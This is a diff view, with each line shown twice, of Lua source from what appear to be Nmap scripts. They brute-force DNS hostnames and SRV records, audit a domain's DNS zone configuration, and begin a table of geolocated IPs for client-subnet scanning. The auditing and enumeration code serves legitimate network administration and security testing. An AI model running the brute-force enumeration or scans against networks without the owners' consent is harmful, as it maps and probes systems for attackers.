local j = math.min(i+howmany, #srvlist) local j = math.min(i+howmany, #srvlist)
local name_iter = array_iter(srvlist, i, j) local name_iter = array_iter(srvlist, i, j)
threads[stdnse.new_thread(srv_main, domainname, srvresults, name_iter)] = true threads[stdnse.new_thread(srv_main, domainname, srvresults, name_iter)] = true
i = j+1 i = j+1
until i > #srvlist until i > #srvlist
local done local done
-- wait for all threads to finish -- wait for all threads to finish
while( not(done) ) do while( not(done) ) do
done = true done = true
for thread in pairs(threads) do for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end if (coroutine.status(thread) ~= "dead") then done = false end
end end
if ( not(done) ) then if ( not(done) ) then
condvar("wait") condvar("wait")
end end
end end
else else
stdnse.print_debug(1, "%s: Cannot find srvlist file, skipping", SCRIPT_NAME) stdnse.print_debug(1, "%s: Cannot find srvlist file, skipping", SCRIPT_NAME)
end end
end end
local response = stdnse.output_table() local response = stdnse.output_table()
if(#results==0) then if(#results==0) then
setmetatable(results, { __tostring = function(t) return "No results." end }) setmetatable(results, { __tostring = function(t) return "No results." end })
end end
response["DNS Brute-force hostnames"] = results response["DNS Brute-force hostnames"] = results
if(dosrv) then if(dosrv) then
if(#srvresults==0) then if(#srvresults==0) then
setmetatable(srvresults, { __tostring = function(t) return "No results." end }) setmetatable(srvresults, { __tostring = function(t) return "No results." end })
end end
response["SRV results"] = srvresults response["SRV results"] = srvresults
end end
return response return response
end end

View File

@@ -59,392 +59,392 @@ hostrule = function(host) return ( arg_domain ~= nil ) end
local PROBE_HOST = "scanme.nmap.org" local PROBE_HOST = "scanme.nmap.org"
local Status = { local Status = {
PASS = "PASS", PASS = "PASS",
FAIL = "FAIL", FAIL = "FAIL",
} }
local function isValidSOA(res) local function isValidSOA(res)
if ( not(res) or type(res.answers) ~= "table" or type(res.answers[1].SOA) ~= "table" ) then if ( not(res) or type(res.answers) ~= "table" or type(res.answers[1].SOA) ~= "table" ) then
return false return false
end end
return true return true
end end
local dns_checks = { local dns_checks = {
["NS"] = { ["NS"] = {
{ {
desc = "Recursive queries", desc = "Recursive queries",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
local result = {} local result = {}
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
for _, srv in ipairs(res or {}) do for _, srv in ipairs(res or {}) do
local status, res = dns.query(PROBE_HOST, { host = srv, dtype='A' }) local status, res = dns.query(PROBE_HOST, { host = srv, dtype='A' })
if ( status ) then if ( status ) then
table.insert(result, res) table.insert(result, res)
end end
end end
local output = "None of the servers allow recursive queries." local output = "None of the servers allow recursive queries."
if ( 0 < #result ) then if ( 0 < #result ) then
output = ("The following servers allow recursive queries: %s"):format(stdnse.strjoin(", ", result)) output = ("The following servers allow recursive queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output } return true, { status = Status.FAIL, output = output }
end end
return true, { status = Status.PASS, output = output } return true, { status = Status.PASS, output = output }
end end
}, },
{ {
desc = "Multiple name servers", desc = "Multiple name servers",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
local status = Status.FAIL local status = Status.FAIL
if ( 1 < #res ) then if ( 1 < #res ) then
status = Status.PASS status = Status.PASS
end end
return true, { status = status, output = ("Server has %d name servers"):format(#res) } return true, { status = status, output = ("Server has %d name servers"):format(#res) }
end end
}, },
{ {
desc = "DNS name server IPs are public", desc = "DNS name server IPs are public",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
local result = {} local result = {}
for _, srv in ipairs(res or {}) do for _, srv in ipairs(res or {}) do
local status, res = dns.query(srv, { dtype='A', retAll = true }) local status, res = dns.query(srv, { dtype='A', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, ("Failed to retrieve IP for DNS: %s"):format(srv) return false, ("Failed to retrieve IP for DNS: %s"):format(srv)
end end
for _, ip in ipairs(res) do for _, ip in ipairs(res) do
if ( ipOps.isPrivate(ip) ) then if ( ipOps.isPrivate(ip) ) then
table.insert(result, ip) table.insert(result, ip)
end end
end end
end end
local output = "All DNS IPs were public" local output = "All DNS IPs were public"
if ( 0 < #result ) then if ( 0 < #result ) then
output = ("The following private IPs were detected: %s"):format(stdnse.strjoin(", ", result)) output = ("The following private IPs were detected: %s"):format(stdnse.strjoin(", ", result))
status = Status.FAIL status = Status.FAIL
else else
status = Status.PASS status = Status.PASS
end end
return true, { status = status, output = output } return true, { status = status, output = output }
end end
}, },
{ {
desc = "DNS server response", desc = "DNS server response",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
local result = {} local result = {}
for _, srv in ipairs(res or {}) do for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true }) local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) ) then if ( not(status) ) then
table.insert(result, res) table.insert(result, res)
end end
end end
local output = "All servers respond to DNS queries" local output = "All servers respond to DNS queries"
if ( 0 < #result ) then if ( 0 < #result ) then
output = ("The following servers did not respond to DNS queries: %s"):format(stdnse.strjoin(", ", result)) output = ("The following servers did not respond to DNS queries: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output } return true, { status = Status.FAIL, output = output }
end end
return true, { status = Status.PASS, output = output } return true, { status = Status.PASS, output = output }
end end
}, },
{ {
desc = "Missing nameservers reported by parent", desc = "Missing nameservers reported by parent",
func = function(domain, server) func = function(domain, server)
local tld = domain:match("%.(.*)$") local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true }) local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers" return false, "Failed to retrieve list of TLD DNS servers"
end end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } ) local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers" return false, "Failed to retrieve a list of parent DNS servers"
end end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers" return false, "Failed to retrieve a list of parent DNS servers"
end end
local parent_dns = {} local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true parent_dns[auth.domain] = true
end end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } ) status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers" return false, "Failed to retrieve a list of DNS servers"
end end
local domain_dns = {} local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end for _,srv in ipairs(res) do domain_dns[srv] = true end
local result = {} local result = {}
for srv in pairs(domain_dns) do for srv in pairs(domain_dns) do
if ( not(parent_dns[srv]) ) then if ( not(parent_dns[srv]) ) then
table.insert(result, srv) table.insert(result, srv)
end end
end end
if ( 0 < #result ) then if ( 0 < #result ) then
local output = ("The following servers were found in the zone, but not in the parent: %s"):format(stdnse.strjoin(", ", result)) local output = ("The following servers were found in the zone, but not in the parent: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output } return true, { status = Status.FAIL, output = output }
end end
return true, { status = Status.PASS, output = "All DNS servers match" } return true, { status = Status.PASS, output = "All DNS servers match" }
end, end,
}, },
{ {
desc = "Missing nameservers reported by your nameservers", desc = "Missing nameservers reported by your nameservers",
func = function(domain, server) func = function(domain, server)
local tld = domain:match("%.(.*)$") local tld = domain:match("%.(.*)$")
local status, res = dns.query(tld, { dtype = "NS", retAll = true }) local status, res = dns.query(tld, { dtype = "NS", retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of TLD DNS servers" return false, "Failed to retrieve list of TLD DNS servers"
end end
local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } ) local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve a list of parent DNS servers" return false, "Failed to retrieve a list of parent DNS servers"
end end
if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
return false, "Failed to retrieve a list of parent DNS servers" return false, "Failed to retrieve a list of parent DNS servers"
end end
local parent_dns = {} local parent_dns = {}
for _, auth in ipairs(parent_res.auth) do for _, auth in ipairs(parent_res.auth) do
parent_dns[auth.domain] = true parent_dns[auth.domain] = true
end end
status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } ) status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve a list of DNS servers" return false, "Failed to retrieve a list of DNS servers"
end end
local domain_dns = {} local domain_dns = {}
for _,srv in ipairs(res) do domain_dns[srv] = true end for _,srv in ipairs(res) do domain_dns[srv] = true end
local result = {} local result = {}
for srv in pairs(parent_dns) do for srv in pairs(parent_dns) do
if ( not(domain_dns[srv]) ) then if ( not(domain_dns[srv]) ) then
table.insert(result, srv) table.insert(result, srv)
end end
end end
if ( 0 < #result ) then if ( 0 < #result ) then
local output = ("The following servers were found in the parent, but not in the zone: %s"):format(stdnse.strjoin(", ", result)) local output = ("The following servers were found in the parent, but not in the zone: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output } return true, { status = Status.FAIL, output = output }
end end
return true, { status = Status.PASS, output = "All DNS servers match" } return true, { status = Status.PASS, output = "All DNS servers match" }
end, end,
}, },
}, },
["SOA"] = ["SOA"] =
{ {
{ {
desc = "SOA REFRESH", desc = "SOA REFRESH",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true }) local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record" return false, "Failed to retrieve SOA record"
end end
local refresh = tonumber(res.answers[1].SOA.refresh) local refresh = tonumber(res.answers[1].SOA.refresh)
if ( not(refresh) ) then if ( not(refresh) ) then
return false, "Failed to retrieve SOA REFRESH" return false, "Failed to retrieve SOA REFRESH"
end end
if ( refresh < 1200 or refresh > 43200 ) then if ( refresh < 1200 or refresh > 43200 ) then
return true, { status = Status.FAIL, output = ("SOA REFRESH was NOT within recommended range (%ss)"):format(refresh) } return true, { status = Status.FAIL, output = ("SOA REFRESH was NOT within recommended range (%ss)"):format(refresh) }
else else
return true, { status = Status.PASS, output = ("SOA REFRESH was within recommended range (%ss)"):format(refresh) } return true, { status = Status.PASS, output = ("SOA REFRESH was within recommended range (%ss)"):format(refresh) }
end end
end end
}, },
{ {
desc = "SOA RETRY", desc = "SOA RETRY",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true }) local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record" return false, "Failed to retrieve SOA record"
end end
local retry = tonumber(res.answers[1].SOA.retry) local retry = tonumber(res.answers[1].SOA.retry)
if ( not(retry) ) then if ( not(retry) ) then
return false, "Failed to retrieve SOA RETRY" return false, "Failed to retrieve SOA RETRY"
end end
if ( retry < 180 ) then if ( retry < 180 ) then
return true, { status = Status.FAIL, output = ("SOA RETRY was NOT within recommended range (%ss)"):format(retry) } return true, { status = Status.FAIL, output = ("SOA RETRY was NOT within recommended range (%ss)"):format(retry) }
else else
return true, { status = Status.PASS, output = ("SOA RETRY was within recommended range (%ss)"):format(retry) } return true, { status = Status.PASS, output = ("SOA RETRY was within recommended range (%ss)"):format(retry) }
end end
end end
}, },
{ {
desc = "SOA EXPIRE", desc = "SOA EXPIRE",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true }) local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record" return false, "Failed to retrieve SOA record"
end end
local expire = tonumber(res.answers[1].SOA.expire) local expire = tonumber(res.answers[1].SOA.expire)
if ( not(expire) ) then if ( not(expire) ) then
return false, "Failed to retrieve SOA EXPIRE" return false, "Failed to retrieve SOA EXPIRE"
end end
if ( expire < 1209600 or expire > 2419200 ) then if ( expire < 1209600 or expire > 2419200 ) then
return true, { status = Status.FAIL, output = ("SOA EXPIRE was NOT within recommended range (%ss)"):format(expire) } return true, { status = Status.FAIL, output = ("SOA EXPIRE was NOT within recommended range (%ss)"):format(expire) }
else else
return true, { status = Status.PASS, output = ("SOA EXPIRE was within recommended range (%ss)"):format(expire) } return true, { status = Status.PASS, output = ("SOA EXPIRE was within recommended range (%ss)"):format(expire) }
end end
end end
}, },
{ {
desc = "SOA MNAME entry check", desc = "SOA MNAME entry check",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true }) local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
if ( not(status) or not(isValidSOA(res)) ) then if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record" return false, "Failed to retrieve SOA record"
end end
local mname = res.answers[1].SOA.mname local mname = res.answers[1].SOA.mname
status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
for _, srv in ipairs(res or {}) do for _, srv in ipairs(res or {}) do
if ( srv == mname ) then if ( srv == mname ) then
return true, { status = Status.PASS, output = "SOA MNAME record is listed as DNS server" } return true, { status = Status.PASS, output = "SOA MNAME record is listed as DNS server" }
end end
end end
return true, { status = Status.FAIL, output = "SOA MNAME record is NOT listed as DNS server" } return true, { status = Status.FAIL, output = "SOA MNAME record is NOT listed as DNS server" }
end end
}, },
{ {
desc = "Zone serial numbers", desc = "Zone serial numbers",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of DNS servers" return false, "Failed to retrieve list of DNS servers"
end end
local result = {} local result = {}
local serial local serial
for _, srv in ipairs(res or {}) do for _, srv in ipairs(res or {}) do
local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true }) local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
if ( not(status) or not(isValidSOA(res)) ) then if ( not(status) or not(isValidSOA(res)) ) then
return false, "Failed to retrieve SOA record" return false, "Failed to retrieve SOA record"
end end
local s = res.answers[1].SOA.serial local s = res.answers[1].SOA.serial
if ( not(serial) ) then if ( not(serial) ) then
serial = s serial = s
elseif( serial ~= s ) then elseif( serial ~= s ) then
return true, { status = Status.FAIL, output = "Different zone serials were detected" } return true, { status = Status.FAIL, output = "Different zone serials were detected" }
end end
end end
return true, { status = Status.PASS, output = "Zone serials match" } return true, { status = Status.PASS, output = "Zone serials match" }
end, end,
}, },
}, },
["MX"] = { ["MX"] = {
{ {
desc = "Reverse MX A records", desc = "Reverse MX A records",
func = function(domain, server) func = function(domain, server)
local status, res = dns.query(domain, { host = server, dtype='MX', retAll = true }) local status, res = dns.query(domain, { host = server, dtype='MX', retAll = true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve list of mail servers" return false, "Failed to retrieve list of mail servers"
end end
local result = {} local result = {}
for _, record in ipairs(res or {}) do for _, record in ipairs(res or {}) do
local prio, mx = record:match("^(%d*):([^:]*)") local prio, mx = record:match("^(%d*):([^:]*)")
local ips local ips
status, ips = dns.query(mx, { dtype='A', retAll=true }) status, ips = dns.query(mx, { dtype='A', retAll=true })
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to retrieve A records for MX" return false, "Failed to retrieve A records for MX"
end end
for _, ip in ipairs(ips) do for _, ip in ipairs(ips) do
local status, res = dns.query(dns.reverse(ip), { dtype='PTR' }) local status, res = dns.query(dns.reverse(ip), { dtype='PTR' })
if ( not(status) ) then if ( not(status) ) then
table.insert(result, ip) table.insert(result, ip)
end end
end end
end end
local output = "All MX records have PTR records" local output = "All MX records have PTR records"
if ( 0 < #result ) then if ( 0 < #result ) then
output = ("The following IPs do not have PTR records: %s"):format(stdnse.strjoin(", ", result)) output = ("The following IPs do not have PTR records: %s"):format(stdnse.strjoin(", ", result))
return true, { status = Status.FAIL, output = output } return true, { status = Status.FAIL, output = output }
end end
return true, { status = Status.PASS, output = output } return true, { status = Status.PASS, output = output }
end end
}, },
} }
} }
action = function(host, port) action = function(host, port)
local server = host.ip local server = host.ip
local output = { name = ("DNS check results for domain: %s"):format(arg_domain) } local output = { name = ("DNS check results for domain: %s"):format(arg_domain) }
for group in pairs(dns_checks) do for group in pairs(dns_checks) do
local group_output = { name = group } local group_output = { name = group }
for _, check in ipairs(dns_checks[group]) do for _, check in ipairs(dns_checks[group]) do
local status, res = check.func(arg_domain, server) local status, res = check.func(arg_domain, server)
if ( status ) then if ( status ) then
local test_res = ("%s - %s"):format(res.status, check.desc) local test_res = ("%s - %s"):format(res.status, check.desc)
table.insert(group_output, { name = test_res, res.output }) table.insert(group_output, { name = test_res, res.output })
else else
local test_res = ("ERROR - %s"):format(check.desc) local test_res = ("ERROR - %s"):format(check.desc)
table.insert(group_output, { name = test_res, res }) table.insert(group_output, { name = test_res, res })
end end
end end
table.insert(output, group_output) table.insert(output, group_output)
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -58,300 +58,300 @@ local argMask = stdnse.get_script_args(SCRIPT_NAME .. '.mask') or 24
local argAddr = stdnse.get_script_args(SCRIPT_NAME .. '.address') local argAddr = stdnse.get_script_args(SCRIPT_NAME .. '.address')
prerule = function() prerule = function()
if ( not(argDomain) or nmap.address_family() ~= "inet" ) then if ( not(argDomain) or nmap.address_family() ~= "inet" ) then
return false return false
end end
return true return true
end end
portrule = function(host, port) portrule = function(host, port)
if ( nmap.address_family() ~= "inet" ) then if ( nmap.address_family() ~= "inet" ) then
return false return false
else else
return shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port) return shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port)
end end
end end
local areaIPs = { local areaIPs = {
A4 = {ip=47763456, desc="GB,A4,Bath"}, A4 = {ip=47763456, desc="GB,A4,Bath"},
A5 = {ip=1043402336, desc="GB,A5,Biggleswade"}, A5 = {ip=1043402336, desc="GB,A5,Biggleswade"},
A6 = {ip=1364222182, desc="FR,A6,Ch<43>vremont"}, A6 = {ip=1364222182, desc="FR,A6,Ch<43>vremont"},
A7 = {ip=35357952, desc="GB,A7,Birmingham"}, A7 = {ip=35357952, desc="GB,A7,Birmingham"},
A8 = {ip=1050694009, desc="FR,A8,Romainville"}, A8 = {ip=1050694009, desc="FR,A8,Romainville"},
A9 = {ip=534257152, desc="FR,A9,Montpellier"}, A9 = {ip=534257152, desc="FR,A9,Montpellier"},
AB = {ip=2156920832, desc="CA,AB,Edmonton"}, AB = {ip=2156920832, desc="CA,AB,Edmonton"},
AK = {ip=202125312, desc="US,AK,Anchorage"}, AK = {ip=202125312, desc="US,AK,Anchorage"},
B1 = {ip=1041724648, desc="FR,B1,Robert"}, B1 = {ip=1041724648, desc="FR,B1,Robert"},
B2 = {ip=35138048, desc="GB,B2,Bournemouth"}, B2 = {ip=35138048, desc="GB,B2,Bournemouth"},
B3 = {ip=33949696, desc="FR,B3,Toulouse"}, B3 = {ip=33949696, desc="FR,B3,Toulouse"},
B4 = {ip=1050704998, desc="FR,B4,Lomme"}, B4 = {ip=1050704998, desc="FR,B4,Lomme"},
B5 = {ip=35213312, desc="GB,B5,Wembley"}, B5 = {ip=35213312, desc="GB,B5,Wembley"},
B6 = {ip=773106752, desc="FR,B6,Amiens"}, B6 = {ip=773106752, desc="FR,B6,Amiens"},
B7 = {ip=35148800, desc="GB,B7,Bristol"}, B7 = {ip=35148800, desc="GB,B7,Bristol"},
B8 = {ip=786088496, desc="FR,B8,Valbonne"}, B8 = {ip=786088496, desc="FR,B8,Valbonne"},
B9 = {ip=33753088, desc="FR,B9,Lyon"}, B9 = {ip=33753088, desc="FR,B9,Lyon"},
BC = {ip=201674096, desc="CA,BC,Victoria"}, BC = {ip=201674096, desc="CA,BC,Victoria"},
C1 = {ip=522223616, desc="FR,C1,Strasbourg"}, C1 = {ip=522223616, desc="FR,C1,Strasbourg"},
C2 = {ip=41598976, desc="GB,C2,Halifax"}, C2 = {ip=41598976, desc="GB,C2,Halifax"},
C3 = {ip=534676272, desc="GB,C3,Cambridge"}, C3 = {ip=534676272, desc="GB,C3,Cambridge"},
C5 = {ip=1043410032, desc="GB,C5,Runcorn"}, C5 = {ip=1043410032, desc="GB,C5,Runcorn"},
C6 = {ip=773987544, desc="GB,C6,Saltash"}, C6 = {ip=773987544, desc="GB,C6,Saltash"},
C7 = {ip=35165184, desc="GB,C7,Coventry"}, C7 = {ip=35165184, desc="GB,C7,Coventry"},
C8 = {ip=35248128, desc="GB,C8,Croydon"}, C8 = {ip=35248128, desc="GB,C8,Croydon"},
C9 = {ip=1892301824, desc="PH,C9,Iloilo"}, C9 = {ip=1892301824, desc="PH,C9,Iloilo"},
D1 = {ip=35414016, desc="GB,D1,Darlington"}, D1 = {ip=35414016, desc="GB,D1,Darlington"},
D2 = {ip=35164672, desc="GB,D2,Derby"}, D2 = {ip=35164672, desc="GB,D2,Derby"},
D3 = {ip=35301376, desc="GB,D3,Chesterfield"}, D3 = {ip=35301376, desc="GB,D3,Chesterfield"},
D4 = {ip=1043450424, desc="GB,D4,Barnstaple"}, D4 = {ip=1043450424, desc="GB,D4,Barnstaple"},
D5 = {ip=2036385792, desc="PH,D5,Legaspi"}, D5 = {ip=2036385792, desc="PH,D5,Legaspi"},
D7 = {ip=41451520, desc="GB,D7,Dudley"}, D7 = {ip=41451520, desc="GB,D7,Dudley"},
D8 = {ip=35279104, desc="GB,D8,Durham"}, D8 = {ip=35279104, desc="GB,D8,Durham"},
D9 = {ip=460228608, desc="PH,D9,Manila"}, D9 = {ip=460228608, desc="PH,D9,Manila"},
DC = {ip=68514448, desc="US,DC,Washington"}, DC = {ip=68514448, desc="US,DC,Washington"},
E1 = {ip=1040645056, desc="GB,E1,Beverley"}, E1 = {ip=1040645056, desc="GB,E1,Beverley"},
E2 = {ip=35206912, desc="GB,E2,Brighton"}, E2 = {ip=35206912, desc="GB,E2,Brighton"},
E3 = {ip=47822848, desc="GB,E3,Enfield"}, E3 = {ip=47822848, desc="GB,E3,Enfield"},
E4 = {ip=39874560, desc="GB,E4,Colchester"}, E4 = {ip=39874560, desc="GB,E4,Colchester"},
E5 = {ip=35270656, desc="GB,E5,Gateshead"}, E5 = {ip=35270656, desc="GB,E5,Gateshead"},
E6 = {ip=1368606720, desc="GB,E6,Coleford"}, E6 = {ip=1368606720, desc="GB,E6,Coleford"},
E7 = {ip=1051376056, desc="GB,E7,Woolwich"}, E7 = {ip=1051376056, desc="GB,E7,Woolwich"},
E8 = {ip=1044737528, desc="GB,E8,Hackney"}, E8 = {ip=1044737528, desc="GB,E8,Hackney"},
F1 = {ip=1043451648, desc="GB,F1,Hammersmith"}, F1 = {ip=1043451648, desc="GB,F1,Hammersmith"},
F2 = {ip=35176448, desc="GB,F2,Basingstoke"}, F2 = {ip=35176448, desc="GB,F2,Basingstoke"},
F4 = {ip=47998976, desc="GB,F4,Harrow"}, F4 = {ip=47998976, desc="GB,F4,Harrow"},
F5 = {ip=1040622704, desc="GB,F5,Hart"}, F5 = {ip=1040622704, desc="GB,F5,Hart"},
F6 = {ip=35230720, desc="GB,F6,Romford"}, F6 = {ip=35230720, desc="GB,F6,Romford"},
F8 = {ip=35214848, desc="GB,F8,Watford"}, F8 = {ip=35214848, desc="GB,F8,Watford"},
F9 = {ip=41693184, desc="GB,F9,Uxbridge"}, F9 = {ip=41693184, desc="GB,F9,Uxbridge"},
G1 = {ip=41437184, desc="GB,G1,Hounslow"}, G1 = {ip=41437184, desc="GB,G1,Hounslow"},
G2 = {ip=35188224, desc="GB,G2,Ryde"}, G2 = {ip=35188224, desc="GB,G2,Ryde"},
G3 = {ip=41861120, desc="GB,G3,Islington"}, G3 = {ip=41861120, desc="GB,G3,Islington"},
G4 = {ip=1040704992, desc="GB,G4,Kensington"}, G4 = {ip=1040704992, desc="GB,G4,Kensington"},
G5 = {ip=41506816, desc="GB,G5,Ashford"}, G5 = {ip=41506816, desc="GB,G5,Ashford"},
G6 = {ip=786894336, desc="GB,G6,Hull"}, G6 = {ip=786894336, desc="GB,G6,Hull"},
G8 = {ip=40112128, desc="GB,G8,Huddersfield"}, G8 = {ip=40112128, desc="GB,G8,Huddersfield"},
G9 = {ip=1380217968, desc="GB,G9,Knowsley"}, G9 = {ip=1380217968, desc="GB,G9,Knowsley"},
H1 = {ip=1044731464, desc="GB,H1,Lambeth"}, H1 = {ip=1044731464, desc="GB,H1,Lambeth"},
H2 = {ip=3512017264, desc="GB,H2,Earby"}, H2 = {ip=3512017264, desc="GB,H2,Earby"},
H3 = {ip=35221504, desc="GB,H3,Leeds"}, H3 = {ip=35221504, desc="GB,H3,Leeds"},
H4 = {ip=35158016, desc="GB,H4,Leicester"}, H4 = {ip=35158016, desc="GB,H4,Leicester"},
H5 = {ip=1043402716, desc="GB,H5,Loughborough"}, H5 = {ip=1043402716, desc="GB,H5,Loughborough"},
H6 = {ip=41732608, desc="GB,H6,Catford"}, H6 = {ip=41732608, desc="GB,H6,Catford"},
H7 = {ip=41863168, desc="GB,H7,Lincoln"}, H7 = {ip=41863168, desc="GB,H7,Lincoln"},
H8 = {ip=35294976, desc="GB,H8,Liverpool"}, H8 = {ip=35294976, desc="GB,H8,Liverpool"},
H9 = {ip=35196928, desc="GB,H9,London"}, H9 = {ip=35196928, desc="GB,H9,London"},
I1 = {ip=35253760, desc="GB,I1,Luton"}, I1 = {ip=35253760, desc="GB,I1,Luton"},
I2 = {ip=35263488, desc="GB,I2,Manchester"}, I2 = {ip=35263488, desc="GB,I2,Manchester"},
I3 = {ip=47714304, desc="GB,I3,Rochester"}, I3 = {ip=47714304, desc="GB,I3,Rochester"},
I4 = {ip=1298651136, desc="GB,I4,Morden"}, I4 = {ip=1298651136, desc="GB,I4,Morden"},
I5 = {ip=1382961968, desc="GB,I5,Middlesborough"}, I5 = {ip=1382961968, desc="GB,I5,Middlesborough"},
I8 = {ip=1371219061, desc="GB,I8,Stepney"}, I8 = {ip=1371219061, desc="GB,I8,Stepney"},
I9 = {ip=35282944, desc="GB,I9,Norwich"}, I9 = {ip=35282944, desc="GB,I9,Norwich"},
IA = {ip=201438272, desc="US,IA,Urbandale"}, IA = {ip=201438272, desc="US,IA,Urbandale"},
J1 = {ip=523578880, desc="GB,J1,Daventry"}, J1 = {ip=523578880, desc="GB,J1,Daventry"},
J2 = {ip=788492344, desc="GB,J2,Grimsby"}, J2 = {ip=788492344, desc="GB,J2,Grimsby"},
J3 = {ip=3282790208, desc="GB,J3,Flixborough"}, J3 = {ip=3282790208, desc="GB,J3,Flixborough"},
J5 = {ip=41759232, desc="GB,J5,Wallsend"}, J5 = {ip=41759232, desc="GB,J5,Wallsend"},
J6 = {ip=1043412268, desc="GB,J6,Alnwick"}, J6 = {ip=1043412268, desc="GB,J6,Alnwick"},
J7 = {ip=41783296, desc="GB,J7,Harrogate"}, J7 = {ip=41783296, desc="GB,J7,Harrogate"},
J8 = {ip=35160064, desc="GB,J8,Nottingham"}, J8 = {ip=35160064, desc="GB,J8,Nottingham"},
J9 = {ip=47742976, desc="GB,J9,Newark"}, J9 = {ip=47742976, desc="GB,J9,Newark"},
JA = {ip=1476096512, desc="RU,JA,Kurilsk"}, JA = {ip=1476096512, desc="RU,JA,Kurilsk"},
K1 = {ip=48015360, desc="GB,K1,Oldham"}, K1 = {ip=48015360, desc="GB,K1,Oldham"},
K2 = {ip=1043402360, desc="GB,K2,Kidlington"}, K2 = {ip=1043402360, desc="GB,K2,Kidlington"},
K3 = {ip=39956480, desc="GB,K3,Peterborough"}, K3 = {ip=39956480, desc="GB,K3,Peterborough"},
K4 = {ip=41735168, desc="GB,K4,Plymouth"}, K4 = {ip=41735168, desc="GB,K4,Plymouth"},
K5 = {ip=775747568, desc="GB,K5,Poole"}, K5 = {ip=775747568, desc="GB,K5,Poole"},
